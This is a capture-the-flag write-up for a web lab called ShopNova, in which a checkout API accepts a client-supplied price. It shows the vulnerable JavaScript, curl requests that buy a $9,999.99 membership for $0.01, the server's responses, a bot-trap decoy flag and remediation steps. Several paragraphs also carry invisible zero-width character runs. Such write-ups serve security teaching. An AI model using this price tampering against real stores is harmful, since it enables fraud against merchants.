Lab 193 — ShopNova — Price Manipulation in Checkout API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_parameter_tampering, business_logic_bypass, client_side_price_manipulation, insecure_direct_object_reference

Summary

Task: E-commerce platform where checkout API accepts client-controlled price in request body instead of validating server-side. Solution: Intercept checkout request and modify amount parameter to purchase premium membership for $0.01 instead of $9,999.99.

Lab 193 — ShopNova — Price Manipulation in Checkout API

Description

ShopNova is a modern e-commerce platform where users can browse a curated product catalog, manage their shopping cart, and purchase items using store credit. The platform features both regular products and exclusive premium offerings.

You have been given a test account with limited store credit. Explore the platform's shopping and checkout workflow to discover how purchases are processed. Pay close attention to how the checkout process handles pricing — is the server truly in control?

Your goal is to obtain the flag hidden somewhere within the platform's premium content.

Credentials: user@test.com / password123 Hint: Take a close look at how the checkout page submits payment data to the server. What information is included in the request body? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An e-commerce platform with store credit system. The checkout API trusts client-provided price values instead of looking up actual product prices server-side. The flag is hidden in premium content that requires purchasing an expensive membership.

Target: https://7f17aab6-9b1f-42b5-bd1d-06554cba5aef.labs.hackadvisor.io/ Credentials: user@test.com / password123

Analysis

Reconnaissance

1. Logged in with provided credentials (user@test.com / password123)
2. User account has $50.00 store credit
3. Found "Lifetime Premium Membership" product (product_id: 11) priced at $9,999.99
4. The premium content containing the flag is only accessible after purchasing this membership
5. With only $50 credit, legitimate purchase is impossible ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

Analyzed the checkout page JavaScript and found the critical vulnerability in how the checkout form submits data:

 javascript read-only • copy allowed Copy
// From /checkout page source
var checkoutItems = [
  { product_id: 11, quantity: 1, price: 9999.99, amount: 9999.99 }
];

// The fetch call sends client-controlled amount to server
fetch('/api/checkout', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    product_id: item.product_id,
    quantity: item.quantity,
    amount: item.amount  // <-- CLIENT-CONTROLLED PRICE!
  })
})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability: The server trusts the amount field sent by the client instead of looking up the actual product price in the database. This is a classic business logic flaw where the client is trusted to provide accurate pricing information.

Additional Finding

The page contained a decoy flag in HTML comments:

 html read-only • copy allowed Copy
<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->

This is a honeypot designed to catch automated scanners that grep for flag patterns without actually exploiting the vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Add Premium Membership to Cart

 bash read-only • copy allowed Copy
curl -b cookies.txt "$TARGET/api/cart/add" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 11, "quantity": 1}'

Step 2: Exploit Price Manipulation

Send a modified checkout request with manipulated amount parameter:

 bash read-only • copy allowed Copy
curl -b cookies.txt "$TARGET/api/checkout" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 11, "quantity": 1, "amount": 0.01}'

Response:

 json read-only • copy allowed Copy
{
  "success": true,
  "order_id": "293a29a0-f4ed-478f-b970-be2264d3ee02",
  "message": "Order placed successfully!",
  "remaining_credit": 49.99
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server accepted the manipulated price of $0.01 instead of $9,999.99!

Step 3: Retrieve the Flag

Access the order details to get the premium content:

 bash read-only • copy allowed Copy
curl -b cookies.txt "$TARGET/api/orders/293a29a0-f4ed-478f-b970-be2264d3ee02"

Response included:

 json read-only • copy allowed Copy
{
  "order_id": "293a29a0-f4ed-478f-b970-be2264d3ee02",
  "premium_content": "FLAG{REDACTED}",
  ...
}

Remediation

1. Never trust client-provided prices — always look up product prices server-side
2. Validate cart totals server-side — recalculate all amounts from database
3. Use signed/encrypted cart tokens — prevent tampering with cart data
4. Implement price integrity checks — compare submitted prices against database before processing
5. Log price discrepancies — alert on attempts to submit incorrect prices ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍